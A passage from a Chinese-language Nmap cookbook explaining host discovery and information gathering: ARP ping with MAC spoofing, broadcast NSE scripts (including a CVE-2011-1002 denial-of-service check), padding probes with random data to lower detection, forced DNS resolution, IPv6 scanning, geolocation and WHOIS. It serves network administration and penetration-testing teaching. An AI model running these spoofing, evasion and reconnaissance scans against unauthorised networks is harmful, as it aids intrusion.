SENT (0.0574s) TCP 192.168.1.102:63897 > 192.168.1.254:80 S ttl=53 id=435 iplen=44 seq=128225976 win=1024 <mss 1460>
RCVD (0.0592s) TCP 192.168.1.254:80 > 192.168.1.102:63897 SA ttl=254 id=3229 iplen=44 seq=4067819520 win=1536 <mss 768>
NSOCK (0.1360s) UDP connection requested to 192.168.1.254:53 (IOD #1) EID 8
NSOCK (0.1360s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 18
NSOCK (0.1360s) Write request for 44 bytes to IOD #1 EID 27 [192.168.1.254:53]: d~...........254.1.168.192.in-addr.arpa.....
NSOCK (0.1360s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]
NSOCK (0.1360s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]
NSOCK (0.1610s) Callback: READ SUCCESS for EID 18 [192.168.1.254:53] (44 bytes): d~...........254.1.168.192.in-addr.arpa.....
NSOCK (0.1610s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 34
Nmap scan report for 192.168.1.254
Host is up (0.0019s latency).
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
MAC 地址欺骗
在执行 ARP ping 扫描时可以伪造 MAC 地址。使用--spoof-mac
设置新的 MAC 地址:
# nmap -sP -PR --spoof-mac 5C:4C:A9:F2:DC:7C
另请参阅
-
第一章中的在您的网络中查找活动主机的方法,Nmap 基础
-
使用 TCP SYN ping 扫描发现主机的方法
-
使用 TCP ACK ping 扫描发现主机的方法
-
使用 UDP ping 扫描发现主机的方法
-
使用 ICMP ping 扫描发现主机的方法
-
使用 IP 协议 ping 扫描发现主机的方法
-
使用广播 ping 发现主机的方法
-
第三章中的使用 TCP ACK 扫描发现有状态防火墙的方法,收集额外的主机信息
使用广播 ping 发现主机
广播 ping将 ICMP 回显请求发送到本地广播地址,即使它们并非始终有效,它们也是在网络中发现主机的一种不错的方式,而无需向其他主机发送探测。
本方法描述了如何使用 Nmap NSE 通过广播 ping 发现新主机。
如何做...
打开您的终端并输入以下命令:
# nmap --script broadcast-ping
您应该看到响应广播 ping 的主机列表:
Pre-scan script results:
| broadcast-ping:
| IP: 192.168.1.105 MAC: 08:00:27:16:4f:71
| IP: 192.168.1.106 MAC: 40:25:c2:3f:c7:24
|_ Use --script-args=newtargets to add the results as targets
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 3.25 seconds
它是如何工作的...
广播 ping 通过向本地广播地址255.255.255.255
发送 ICMP 回显请求,然后等待主机以 ICMP 回显回复进行回复。它产生类似以下的输出:。
# nmap --script broadcast-ping --packet-trace
NSOCK (0.1000s) PCAP requested on device 'wlan2' with berkeley filter 'dst host 192.168.1.102 and icmp[icmptype]==icmp-echoreply' (promisc=0 snaplen=104 to_ms=200) (IOD #1)
NSOCK (0.1000s) PCAP created successfully on device 'wlan2' (pcap_desc=4 bsd_hack=0 to_valid=1 l3_offset=14) (IOD #1)
NSOCK (0.1000s) Pcap read request from IOD #1 EID 13
NSOCK (0.1820s) Callback: READ-PCAP SUCCESS for EID 13
NSOCK (0.1820s) Pcap read request from IOD #1 EID 21
NSOCK (0.1850s) Callback: READ-PCAP SUCCESS for EID 21
NSOCK (0.1850s) Pcap read request from IOD #1 EID 29
NSOCK (3.1850s) Callback: READ-PCAP TIMEOUT for EID 29
NSE: > | CLOSE
Pre-scan script results:
| broadcast-ping:
| IP: 192.168.1.105 MAC: 08:00:27:16:4f:71
| IP: 192.168.1.106 MAC: 40:25:c2:3f:c7:24
|_ Use --script-args=newtargets to add the results as targets
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 3.27 seconds
还有更多...
要增加 ICMP 回显请求的数量,请使用脚本参数broadcast-ping.num_probes
:
# nmap --script broadcast-ping --script-args broadcast-ping.num_probes=5
在扫描大型网络时,通过使用--script-args broadcast-ping.timeout=<time in ms>
来增加超时限制可能是有用的,以避免错过具有较差延迟的主机。
# nmap --script broadcast-ping --script-args broadcast-ping.timeout=10000
您可以使用broadcast-ping.interface
指定网络接口。如果不指定接口,broadcast-ping
将使用所有具有 IPv4 地址的接口发送探测。
# nmap --script broadcast-ping --script-args broadcast-ping.interface=wlan3
目标库
参数--script-args=newtargets
强制 Nmap 将这些新发现的主机用作目标:
# nmap --script broadcast-ping --script-args newtargets
Pre-scan script results:
| broadcast-ping:
| IP: 192.168.1.105 MAC: 08:00:27:16:4f:71
|_ IP: 192.168.1.106 MAC: 40:25:c2:3f:c7:24
Nmap scan report for 192.168.1.105
Host is up (0.00022s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 08:00:27:16:4F:71 (Cadmus Computer Systems)
Nmap scan report for 192.168.1.106
Host is up (0.49s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 40:25:C2:3F:C7:24 (Intel Corporate)
Nmap done: 2 IP addresses (2 hosts up) scanned in 7.25 seconds
请注意,我们没有指定目标,但newtargets
参数仍然将 IP 192.168.1.106
和192.168.1.105
添加到扫描队列中。
参数max-newtargets
设置要添加到扫描队列中的主机的最大数量:
# nmap --script broadcast-ping --script-args max-newtargets=3
另请参阅
-
第一章中的在您的网络中查找活动主机的方法,Nmap 基础
-
使用 TCP SYN ping 扫描发现主机的方法
-
使用 TCP ACK ping 扫描发现主机的方法
-
使用 UDP ping 扫描发现主机的方法
-
使用 ICMP ping 扫描发现主机的方法
-
使用 IP 协议 ping 扫描发现主机的方法
-
使用 ARP ping 扫描发现主机的方法
-
第三章中的使用 TCP ACK 扫描发现有状态防火墙的方法,收集额外的主机信息
使用额外的随机数据隐藏我们的流量
Nmap 扫描生成的数据包通常只设置协议头,并且只在某些情况下包含特定的有效负载。Nmap 实现了一个功能,通过使用随机数据作为有效负载来减少检测这些已知探测的可能性。
本方法描述了如何在扫描期间由 Nmap 发送的数据包中发送额外的随机数据。
如何做...
要附加 300 字节的随机数据,请打开终端并输入以下命令:
# nmap -sS -PS --data-length 300 scanme.nmap.org
它是如何工作的...
参数--data-length <# of bytes>
告诉 Nmap 生成随机字节并将其附加为请求中的数据。
大多数扫描技术都支持这种方法,但重要的是要注意,使用此参数会减慢扫描速度,因为我们需要在每个请求中传输更多的数据。
在以下屏幕截图中,显示了由默认 Nmap 扫描生成的数据包,以及我们使用参数--data-length
的数据包:
还有更多...
将参数--data-length
设置为0
将强制 Nmap 在请求中不使用任何有效负载:
# nmap --data-length 0 scanme.nmap.org
另请参阅
-
第一章的使用特定端口范围进行扫描配方,Nmap 基础
-
在第三章的欺骗端口扫描源 IP配方中,收集额外的主机信息
-
强制 DNS 解析配方
-
从扫描中排除主机配方
-
扫描 IPv6 地址配方
-
第七章的跳过测试以加快长时间扫描配方,扫描大型网络
-
第七章的调整时间参数配方,扫描大型网络
-
第七章的选择正确的时间模板配方,扫描大型网络
强制 DNS 解析
DNS 名称经常透露有价值的信息,因为系统管理员根据其功能为主机命名,例如firewall
或mail.domain.com
。默认情况下,如果主机离线,Nmap 不执行 DNS 解析。通过强制 DNS 解析,即使主机似乎处于离线状态,我们也可以收集有关网络的额外信息。
该配方描述了如何在 Nmap 扫描期间强制对离线主机进行 DNS 解析。
如何做到...
打开终端并输入以下命令:
# nmap -sS -PS -F -R XX.XXX.XXX.220-230
此命令将强制对范围XX.XXX.XXX.220-230
中的离线主机进行 DNS 解析。
考虑使用列表扫描,它也将执行 DNS 解析,分别为-sL
。
是的,列表扫描会这样做。我在这里要传达的是,您可以在端口扫描期间或运行 NSE 脚本时包含主机的 DNS 信息。
它是如何工作的...
参数-sS -PS -F -R
告诉 Nmap 执行 TCP SYN Stealth (-sS
)、SYN ping (-PS
)、快速端口扫描 (-F
),并始终执行 DNS 解析 (-R
)。
假设我们想要扫描围绕域0xdeadbeefcafe.com
的两个 IP,IP 为XX.XXX.XXX.223
,可以使用以下命令:
# nmap -sS -PS -F -R XX.XXX.XXX.222-224
Nmap scan report for liXX-XXX.members.linode.com (XX.XXX.XXX.222)
Host is up (0.11s latency).
All 100 scanned ports on liXX-XXX.members.linode.com (XX.XXX.XXX.222) are filtered
Nmap scan report for 0xdeadbeefcafe.com (XX.XXX.XXX.223)
Host is up (0.11s latency).
Not shown: 96 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
Nmap scan report for mail.0xdeadbeefcafe.com (XX.XXX.XXX.224)
Host is up (0.11s latency).
Not shown: 96 closed ports
PORT STATE SERVICE
25/tcp filtered smtp
在这种情况下,快速扫描告诉我们,这可能是 Linode 托管的 VPS,并且也是他们邮件服务器的位置。
还有更多...
您还可以使用参数-n
完全禁用 DNS 解析。这会加快扫描速度,如果您不需要对主机进行 DNS 解析,则非常推荐使用。
# nmap -sS -PS -F -n scanme.nmap.org
指定不同的 DNS 名称服务器
默认情况下,Nmap 会查询系统的 DNS 服务器进行 DNS 解析。可以使用参数--dns-servers
设置替代 DNS 名称服务器。例如,要使用 Google 的开放 DNS 服务器:
# nmap -sS -PS -R --dns-servers 8.8.8.8,8.8.4.4 <target>
另请参阅
-
使用额外的随机数据隐藏我们的流量配方
-
第一章的使用特定端口范围进行扫描配方,Nmap 基础
-
第三章的欺骗端口扫描源 IP配方,收集额外的主机信息
-
从扫描中排除主机配方
-
扫描 IPv6 地址配方
-
第七章的跳过测试以加快长时间扫描配方,扫描大型网络
-
第七章中的调整时间参数食谱,扫描大型网络
-
第七章中的选择正确的时间模板食谱,扫描大型网络
从扫描中排除主机
将出现需要排除主机的情况,以避免扫描某些机器。例如,您可能缺乏授权,或者可能主机已经被扫描,您想节省一些时间。Nmap 实现了一个选项来排除一个主机或主机列表,以帮助您在这些情况下。
本食谱描述了如何从 Nmap 扫描中排除主机。
如何做...
打开您的终端并输入以下命令:
# nmap -sV -O --exclude 192.168.1.102,192.168.1.254 192.168.1.1/24
您应该看到私人网络192.168.1.1-255
中所有可用主机的扫描结果,排除了 IP192.168.1.254
和192.168.1.102
,如下例所示:
# nmap -sV -O --exclude 192.168.1.102,192.168.1.254 192.168.1.1/24
Nmap scan report for 192.168.1.101
Host is up (0.019s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
53/tcp filtered domain
554/tcp filtered rtsp
3306/tcp filtered mysql
MAC Address: 00:23:76:CD:C5:BE (HTC)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 254 IP addresses (1 host up) scanned in 18.19 seconds
它是如何工作的...
参数-sV -O --exclude 192.168.1.102,192.168.1.254 192.168.1.1/1
告诉 Nmap 执行服务检测扫描(-sV
)和所有 256 个 IP 的 OS 指纹识别(-O
)在这个私人网络中的(192.168.1.1/24
),分别排除了 IP 为192.168.102
和192.168.1.254
的机器(--exclude 192.168.1.102,192.168.1.254
)。
还有更多...
参数--exclude
也支持 IP 范围,如下例所示:
# nmap -sV -O --exclude 192.168.1-100 192.168.1.1/24
# nmap -sV -O --exclude 192.168.1.1,192.168.1.10-20 192.168.1.1/24
从您的扫描中排除主机列表
Nmap 还支持参数--exclude-file <filename>
,以排除列在<filename>
中的目标:
# nmap -sV -O --exclude-file dontscan.txt 192.168.1.1/24
另请参阅
-
使用额外的随机数据隐藏我们的流量食谱
-
强制 DNS 解析食谱
-
扫描 IPv6 地址食谱
-
使用广播脚本收集网络信息食谱
-
第一章中的使用特定端口范围进行扫描食谱,Nmap 基础
-
第三章中的欺骗端口扫描的源 IP食谱,收集额外的主机信息
-
从您的扫描中排除主机食谱
-
第七章中的跳过测试以加快长时间扫描食谱,扫描大型网络
-
第七章中的调整时间参数食谱,扫描大型网络
-
第七章中的选择正确的时间模板食谱,扫描大型网络
扫描 IPv6 地址
尽管我们并没有像一些人预测的那样耗尽所有 IPv4 地址,但 IPv6 地址正在变得更加普遍,Nmap 开发团队一直在努力改进其 IPv6 支持。所有端口扫描和主机发现技术已经实现,这使得 Nmap 在处理 IPv6 网络时至关重要。
本食谱描述了如何使用 Nmap 扫描 IPv6 地址。
如何做...
让我们扫描代表本地主机的 IPv6 地址(::1
):
# nmap -6 ::1
结果看起来像正常的 Nmap 扫描:
Nmap scan report for ip6-localhost (::1)
Host is up (0.000018s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Exim smtpd
80/tcp open http Apache httpd 2.2.16 ((Debian))
631/tcp open ipp CUPS 1.4
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
它是如何工作的...
参数-6
告诉 Nmap 执行 IPv6 扫描。您基本上可以与-6
结合使用任何其他标志。它支持使用原始数据包的扫描技术,服务检测,TCP 端口和 ping 扫描以及 Nmap 脚本引擎。
# nmap -6 -sT --traceroute ::1
Nmap scan report for ip6-localhost (::1)
Host is up (0.00033s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
631/tcp open ipp
8080/tcp open http-proxy
还有更多...
在执行 IPv6 扫描时,请记住您可以使用主机名和 IPv6 地址作为目标:
# nmap -6 scanmev6.nmap.org
# nmap -6 2600:3c01::f03c:91ff:fe93:cd19
IPv6 扫描中的 OS 检测
IPv6 地址的 OS 检测方式与 IPv4 的方式类似;探针被发送并与指纹数据库进行匹配。发送的探针列在nmap.org/book/osdetect-ipv6-methods.html
。您可以使用选项-O
在 IPv6 扫描中启用 OS 检测:
#nmap -6 -O <target>
最近添加了操作系统检测,您可以通过发送 Nmap 用于检测算法的指纹来提供帮助。提交新的 IPv6 指纹的过程由 Luis Martin Garcia 在seclists.org/nmap-dev/2011/q3/21
中描述。我知道 Nmap 团队的工作速度,我知道它很快就会准备好。
另请参阅
-
使用额外的随机数据隐藏我们的流量食谱
-
强制 DNS 解析食谱
-
排除主机扫描食谱
-
使用广播脚本收集网络信息食谱
-
第一章《Nmap 基础知识》中的使用特定端口范围进行扫描食谱
-
第三章《收集额外主机信息》中的欺骗端口扫描的源 IP食谱
-
扫描 IPv6 地址食谱
-
第七章《扫描大型网络》中的跳过测试以加快长时间扫描食谱
-
第七章《扫描大型网络》中的调整定时参数食谱
-
第七章《扫描大型网络》中的选择正确的定时模板食谱
使用广播脚本收集网络信息
广播请求通常会显示协议和主机详细信息,并且在 NSE 广播脚本的帮助下,我们可以从网络中收集有价值的信息。NSE 广播脚本执行诸如检测 dropbox 监听器、嗅探以检测主机以及发现 MS SQL 和 NCP 服务器等任务。
这个食谱描述了如何使用 NSE 广播脚本从网络中收集有趣的信息。
如何做...
打开终端并输入以下命令:
# nmap --script broadcast
请注意,广播脚本可以在不设置特定目标的情况下运行。所有找到信息的 NSE 脚本都将包含在您的扫描结果中:
Pre-scan script results:
| targets-ipv6-multicast-invalid-dst:
| IP: fe80::a00:27ff:fe16:4f71 MAC: 08:00:27:16:4f:71 IFACE: wlan2
|_ Use --script-args=newtargets to add the results as targets
| targets-ipv6-multicast-echo:
| IP: fe80::a00:27ff:fe16:4f71 MAC: 08:00:27:16:4f:71 IFACE: wlan2
| IP: fe80::4225:c2ff:fe3f:c724 MAC: 40:25:c2:3f:c7:24 IFACE: wlan2
|_ Use --script-args=newtargets to add the results as targets
| targets-ipv6-multicast-slaac:
| IP: fe80::a00:27ff:fe16:4f71 MAC: 08:00:27:16:4f:71 IFACE: wlan2
| IP: fe80::4225:c2ff:fe3f:c724 MAC: 40:25:c2:3f:c7:24 IFACE: wlan2
|_ Use --script-args=newtargets to add the results as targets
| broadcast-ping:
| IP: 192.168.1.105 MAC: 08:00:27:16:4f:71
| IP: 192.168.1.106 MAC: 40:25:c2:3f:c7:24
|_ Use --script-args=newtargets to add the results as targets
| broadcast-dns-service-discovery:
| 192.168.1.102
| 9/tcp workstation
|_ Address=192.168.1.102 fe80:0:0:0:2c0:caff:fe50:e567
| broadcast-avahi-dos:
| Discovered hosts:
| 192.168.1.102
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 35.06 seconds
它是如何工作的...
参数--script broadcast
告诉 Nmap 初始化广播类别中的所有 NSE 脚本。该类别包含使用广播请求的脚本,这意味着不会直接向目标发送探测。
在撰写本文时,有 18 个广播脚本可用。让我们看看脚本描述,摘自 Nmap 的官方文档:
-
broadcast-avahi-dos
:此脚本尝试使用 DNS 服务发现协议在本地网络中发现主机,并向每个主机发送一个空的 UDP 数据包,以测试它是否容易受到 Avahi 空 UDP 数据包拒绝服务攻击(CVE-2011-1002)。 -
broadcast-db2-discover
:此脚本尝试通过向端口523/udp
发送广播请求来发现网络上的 DB2 服务器。 -
broadcast-dhcp-discover
:此脚本向广播地址(255.255.255.255)发送 DHCP 请求并报告结果。在这样做时,它使用静态 MAC 地址(DE:AD:CO:DE:CA:FE)以防止范围耗尽。 -
broadcast-dns-service-discovery
:此脚本尝试使用 DNS 服务发现协议来发现主机的服务。它发送多播 DNS-SD 查询并收集所有响应。 -
broadcast-dropbox-listener
:此脚本监听每 20 秒Dropbox.com客户端广播的 LAN 同步信息广播,然后打印出所有发现的客户端 IP 地址、端口号、版本号、显示名称等。 -
broadcast-listener
:此脚本嗅探传入的广播通信并尝试解码接收到的数据包。它支持诸如 CDP、HSRP、Spotify、DropBox、DHCP、ARP 等协议。有关更多信息,请参见packetdecoders.lua
。 -
broadcast-ms-sql-discover
:此脚本在相同的广播域中发现 Microsoft SQL 服务器。 -
broadcast-netbios-master-browser
:此脚本尝试发现主浏览器及其管理的域。 -
broadcast-novell-locate
:此脚本尝试使用服务位置协议来发现Novell NetWare Core Protocol (NCP)服务器。 -
broadcast-ping
:此脚本通过使用原始以太网数据包向选定的接口发送广播 ping,并输出响应主机的 IP 和 MAC 地址,或者(如果请求)将它们添加为目标。在 Unix 上运行此脚本需要 root 权限,因为它使用原始套接字。大多数操作系统不会响应广播 ping 探测,但可以配置为这样做。 -
broadcast-rip-discover
:此脚本发现在局域网上运行 RIPv2 的设备和路由信息。它通过发送 RIPv2 请求命令并收集所有响应来实现这一点。 -
broadcast-upnp-info
:此脚本尝试通过发送多播查询来从 UPnP 服务中提取系统信息,然后收集、解析和显示所有响应。 -
broadcast-wsdd-discover
:此脚本使用多播查询来发现支持 Web Services Dynamic Discovery (WS-Discovery)协议的设备。它还尝试定位任何发布的Windows Communication Framework (WCF) web 服务(.NET 4.0 或更高版本)。 -
lltd-discovery
:此脚本使用 Microsoft LLTD 协议来发现本地网络上的主机。 -
targets-ipv6-multicast-echo
:此脚本向所有节点的链路本地多播地址(ff02::1
)发送 ICMPv6 回显请求数据包,以发现局域网上的响应主机,而无需逐个 ping 每个 IPv6 地址。 -
targets-ipv6-multicast-invalid-dst
:此脚本向所有节点的链路本地多播地址(ff02::1
)发送带有无效扩展标头的 ICMPv6 数据包,以发现局域网上的(一些)可用主机。这是因为一些主机将用 ICMPv6 参数问题数据包响应此探测。 -
targets-ipv6-multicast-slaac
:此脚本通过触发无状态地址自动配置(SLAAC)执行 IPv6 主机发现。 -
targets-sniffer
:此脚本在本地网络上嗅探相当长的时间(默认为 10 秒),并打印发现的地址。如果设置了newtargets
脚本参数,则发现的地址将添加到扫描队列中。
请考虑每个脚本都有一组可用的参数,有时需要进行调整。例如,targets-sniffer
只会在网络上嗅探 10 秒,这对于大型网络可能不够。
# nmap --script broadcast --script-args targets-sniffer.timeout 30
正如您所看到的,广播类别有一些非常巧妙的 NSE 脚本,值得一看。您可以在nmap.org/nsedoc/categories/broadcast.html
了解有关广播脚本的特定参数的更多信息。
还有更多...
记住,NSE 脚本可以按类别、表达式或文件夹进行选择。因此,我们可以调用所有广播脚本,但不包括名为targets-*
的脚本,如下所示:
# nmap --script "broadcast and not targets*"
Pre-scan script results:
| broadcast-netbios-master-browser:
| ip server domain
|_192.168.1.103 CLDRN-PC WORKGROUP
| broadcast-upnp-info:
| 192.168.1.103
| Server: Microsoft-Windows-NT/5.1 UPnP/1.0 UPnP-Device-Host/1.0
|_ Location: http://192.168.1.103:2869/upnphost/udhisapi.dll?content=uuid:69d208b4-2133-48d4-a387-3a19d7a733de
| broadcast-dns-service-discovery:
| 192.168.1.101
| 9/tcp workstation
|_ Address=192.168.1.101 fe80:0:0:0:2c0:caff:fe50:e567
| broadcast-wsdd-discover:
| Devices
| 192.168.1.103
| Message id: b9dcf2ab-2afd-4791-aaae-9a2091783e90
| Address: http://192.168.1.103:5357/53de64a8-b69c-428f-a3ec-35c4fc1c16fe/
|_ Type: Device pub:Computer
| broadcast-listener:
| udp
| DropBox
| displayname ip port version host_int namespaces
|_ 104784739 192.168.1.103 17500 1.8 104784739 14192704, 71393219, 68308486, 24752966, 69985642, 20936718, 78567110, 76740792, 20866524
| broadcast-avahi-dos:
| Discovered hosts:
| 192.168.1.101
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 34.86 seconds
目标库
参数--script-args=newtargets
强制 Nmap 使用这些新发现的主机作为目标:
# nmap --script broadcast-ping --script-args newtargets
Pre-scan script results:
| broadcast-ping:
| IP: 192.168.1.105 MAC: 08:00:27:16:4f:71
|_ IP: 192.168.1.106 MAC: 40:25:c2:3f:c7:24
Nmap scan report for 192.168.1.105
Host is up (0.00022s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 08:00:27:16:4F:71 (Cadmus Computer Systems)
Nmap scan report for 192.168.1.106
Host is up (0.49s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 40:25:C2:3F:C7:24 (Intel Corporate)
Nmap done: 2 IP addresses (2 hosts up) scanned in 7.25 seconds
请注意,我们没有指定目标,但newtargets
参数仍将 IP192.168.1.106
和192.168.1.105
添加到扫描队列中。
参数max-newtargets
设置要添加到扫描队列中的主机的最大数量:
# nmap --script broadcast-ping --script-args max-newtargets=3
另请参阅
-
使用广播 ping 发现主机配方
-
强制 DNS 解析配方
-
扫描 IPv6 地址配方
-
在第三章的收集额外的主机信息中的发现指向相同 IP 地址的主机名配方
-
在第三章的收集额外的主机信息中的IP 地址地理定位配方
-
在第一章的发现网络中的活动主机配方
-
《Nmap 基础》第一章中的对远程主机进行指纹识别服务配方
-
《Nmap 基础》第一章中的运行 NSE 脚本配方
第三章:收集额外的主机信息
注意
本章向您展示了如何做一些在许多情况下可能是非法的、不道德的、违反服务条款的或只是不明智的事情。这里提供这些信息是为了让您了解如何保护自己免受威胁,并使自己的系统更加安全。在遵循这些说明之前,请确保您站在法律和道德的一边...运用您的力量为善!
在本章中,我们将涵盖:
-
对 IP 地址进行地理定位
-
从 WHOIS 记录中获取信息
-
检查主机是否已知存在恶意活动
-
收集有效的电子邮件帐户
-
发现指向相同 IP 地址的主机名
-
暴力破解 DNS 记录
-
对主机的操作系统进行指纹识别
-
发现 UDP 服务
-
列出远程主机支持的协议
-
通过使用 TCP ACK 扫描发现有状态的防火墙
-
将已知安全漏洞的服务进行匹配
-
欺骗端口扫描的源 IP
介绍
渗透测试中最重要的过程是信息收集阶段。在这个过程中,我们调查我们的目标,目标是了解一切。我们发现的信息可能在渗透测试的后续阶段非常宝贵。在这个过程中,我们收集信息,如用户名,可能的密码,额外的主机和服务,甚至版本标语,以及许多其他有趣的数据片段。
有几种工具可以帮助我们从许多不同的来源检索有关我们目标的信息。我们的成功来自于利用所有可用资源。敢于忽视或忽略其中任何一个,你可能会错过你完全 compromise 目标所需的信息。
Nmap 以其 OS 指纹识别、端口枚举和服务发现等信息收集能力而闻名,但由于 Nmap 脚本引擎的存在,现在可以执行一些新的信息收集任务,如对 IP 进行地理定位、检查主机是否进行恶意活动、暴力破解 DNS 记录以及使用 Google 收集有效的电子邮件帐户,等等。
在本章中,我将介绍一组 Nmap 选项和 NSE 脚本,用于查询 WHOIS 服务器,发现 UDP 服务,并将服务与公共安全漏洞进行匹配。
对 IP 地址进行地理定位
确定 IP 地址的位置有助于系统管理员在许多情况下,比如追踪攻击的来源、网络连接或者他们论坛中无害海报的来源。
Gorjan Petrovski 提交了三个 Nmap NSE 脚本,帮助我们对远程 IP 地址进行地理定位:ip-geolocation-maxmind
,ip-geolocation-ipinfodb
和ip-geolocation-geobytes
。
这个配方将向您展示如何设置和使用 Nmap NSE 中包含的地理定位脚本。
准备工作
对于脚本 ip-geolocation-maxmind
需要一个外部数据库。从 geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
下载 Maxmind 的城市数据库,并将其提取到您的本地 Nmap 数据文件夹 ($NMAP_DATA/nselib/data/
)。
对于 ip-geolocation-ipinfodb 需要一个 API 密钥,因此您需要在 ipinfodb.com/register.php
注册以获取它。与 Geobytes 不同,这项服务不会强加查询限制,因此我强烈建议获取您自己的 API 密钥以启用此脚本。
如何做...
打开终端并输入以下命令:
$nmap --script ip-geolocation-* <target>
您应该看到以下输出:
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
113/tcp closed ident
Host script results:
| ip-geolocation-geoplugin:
| 50.116.1.121 (0xdeadbeefcafe.com)
| coordinates (lat,lon): 39.489898681641,-74.47730255127
|_ state: New Jersey, United States
Nmap done: 1 IP address (1 host up) scanned in 8.71 seconds
它是如何工作的...
参数--script ip-geolocation-*
告诉 Nmap 启动所有以ip-geolocation-
开头的脚本。在撰写本文时,有三个地理位置脚本可用:ip-geolocation-geoplugin
,ip-geolocation-maxmind
和ip-geolocation-ipinfodb
。有时服务提供商不会返回有关特定 IP 地址的任何信息,因此建议您尝试并比较所有结果。这些脚本返回的信息包括纬度和经度坐标,国家,州和城市(如有)。
还有更多...
请记住,ip-geolocation-geoplugin
脚本通过查询免费公共服务来工作。在使用此脚本之前,请考虑您需要进行的查询数量,因为许多公共服务会对允许的查询数量设置限制。
人们普遍错误地认为 IP 到地理位置服务提供了计算机或设备的 100%位置。位置准确性在很大程度上取决于数据库,每个服务提供商可能使用不同的数据收集方法。在解释这些 NSE 脚本的结果时,请记住这一点。
提交新的地理位置提供商
如果您知道更好的 IP 到地理位置提供商,请毫不犹豫地将您自己的地理位置脚本提交给nmap-dev
。不要忘记记录脚本是否需要外部 API 或数据库。如果您没有开发 Nmap 的经验,可以将您的想法添加到位于secwiki.org/w/Nmap/Script_Ideas.
的 NSE 脚本愿望清单中。
另请参阅
-
从 WHOIS 记录获取信息配方
-
检查主机是否已知存在恶意活动配方
-
暴力破解 DNS 记录配方
-
收集有效的电子邮件帐户配方
-
发现指向相同 IP 地址的主机名配方
-
匹配已知安全漏洞的服务配方
-
欺骗端口扫描的源 IP配方
-
在第八章中使用Zenmap 生成网络拓扑图配方,生成扫描报告
从 WHOIS 记录获取信息
WHOIS记录通常包含重要数据,如注册商名称和联系信息。系统管理员多年来一直在使用 WHOIS,尽管有许多可用于查询此协议的工具,但 Nmap 因其处理 IP 范围和主机名列表的能力而被证明是非常有价值的。
此配方将向您展示如何使用 Nmap 检索 IP 地址或域名的 WHOIS 记录。
如何做...
打开终端并输入以下命令:
$nmap --script whois <target>
输出将类似于以下内容:
$nmap --script whois scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.10s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
646/tcp filtered ldp
9929/tcp open nping-echo
Host script results:
| whois: Record found at whois.arin.net
| netrange: 74.207.224.0 - 74.207.255.255
| netname: LINODE-US
| orgname: Linode
| orgid: LINOD
| country: US stateprov: NJ
|
| orgtechname: Linode Network Operations
|_orgtechemail: support@linode.com
它是如何工作的...
参数--script whois
告诉 Nmap 查询区域 Internet 注册表的 WHOIS 数据库,以获取给定目标的记录。此脚本使用 IANA 的分配数据来选择 RIR,并将结果缓存到本地。或者,您可以覆盖此行为并选择要在参数whodb
中使用的服务提供商的顺序:
$nmap --script whois --script-args whois.whodb=arin+ripe+afrinic <target>
该脚本将按顺序查询 WHOIS 提供商的列表,直到找到记录或引荐到记录为止。要忽略引荐记录,请使用值nofollow
:
$nmap --script whois --script-args whois.whodb=nofollow <target>
还有更多...
要查询主机名列表(-iL <input file>
)的 WHOIS 记录而不启动端口扫描(-sn
),请输入以下 Nmap 命令:
$ nmap -sn --script whois -v -iL hosts.txt
输出将类似于以下内容:
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 14:20
Scanning 3 hosts [4 ports/host]
Completed Ping Scan at 14:20, 0.16s elapsed (3 total hosts)
Initiating Parallel DNS resolution of 3 hosts. at 14:20
Completed Parallel DNS resolution of 3 hosts. at 14:20, 0.20s elapsed
NSE: Script scanning 2 hosts.
Initiating NSE at 14:20
Completed NSE at 14:20, 1.13s elapsed
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.10s latency).
Host script results:
| whois: Record found at whois.arin.net
| netrange: 74.207.224.0 - 74.207.255.255
| netname: LINODE-US
| orgname: Linode
| orgid: LINOD
| country: US stateprov: NJ
|
| orgtechname: Linode Network Operations
|_orgtechemail: support@linode.com
Nmap scan report for insecure.org (74.207.254.18)
Host is up (0.099s latency).
rDNS record for 74.207.254.18: web.insecure.org
Host script results:
|_whois: See the result for 74.207.244.221.
NSE: Script scanning 74.207.254.18.
Initiating NSE at 14:20
Completed NSE at 14:20, 0.00s elapsed
Nmap scan report for nmap.org (74.207.254.18)
Host is up (0.10s latency).
rDNS record for 74.207.254.18: web.insecure.org
Host script results:
|_whois: See the result for 74.207.244.221.
NSE: Script Post-scanning.
